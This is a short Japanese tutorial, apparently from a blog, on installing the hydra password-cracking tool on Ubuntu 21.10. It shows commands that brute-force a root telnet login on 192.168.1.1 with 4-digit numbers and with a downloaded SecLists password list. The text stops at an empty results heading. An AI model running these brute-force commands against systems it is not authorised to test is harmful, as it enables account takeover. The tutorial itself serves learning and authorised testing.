Ubuntu21.10 hydraをインストールする

Ubuntu21.10 hydraをインストールする

Ubuntu21.10に、hydraをインストールするまでの手順を記述してます。

環境

  • OS Ubuntu21.10
  • QElectroTech 0.8

インストール

aptからインストール可能です。

sudo apt install hydra

また、必要なツールもインストールします。

sudo apt install -y libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev

hydra実行

実行してみます。以下は、プロトコルが「telnet」で、ユーザー「root」で4桁の数値のみを条件として総当りでパスワードを当てにいくコマンドです。

hydra -l root -x 4:4:1 192.168.1.1 telnet

オプションXについて

オプション「x」は以下のように指定することが可能です。

-x 最短文字数:最大文字数:種類
種類説明
a小文字
A大文字
1数字

パスワードリスト

gitなどからパスワードリストを取得して使用することも可能です。

wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt

入手したパスワードを使用して実行することも可能です。
※「-vV -f」を使用すると状況がわかりやすく確認できます

hydra -l root -P 10-million-password-list-top-1000000.txt 192.168.1.1 telnet -vV -f

実行結果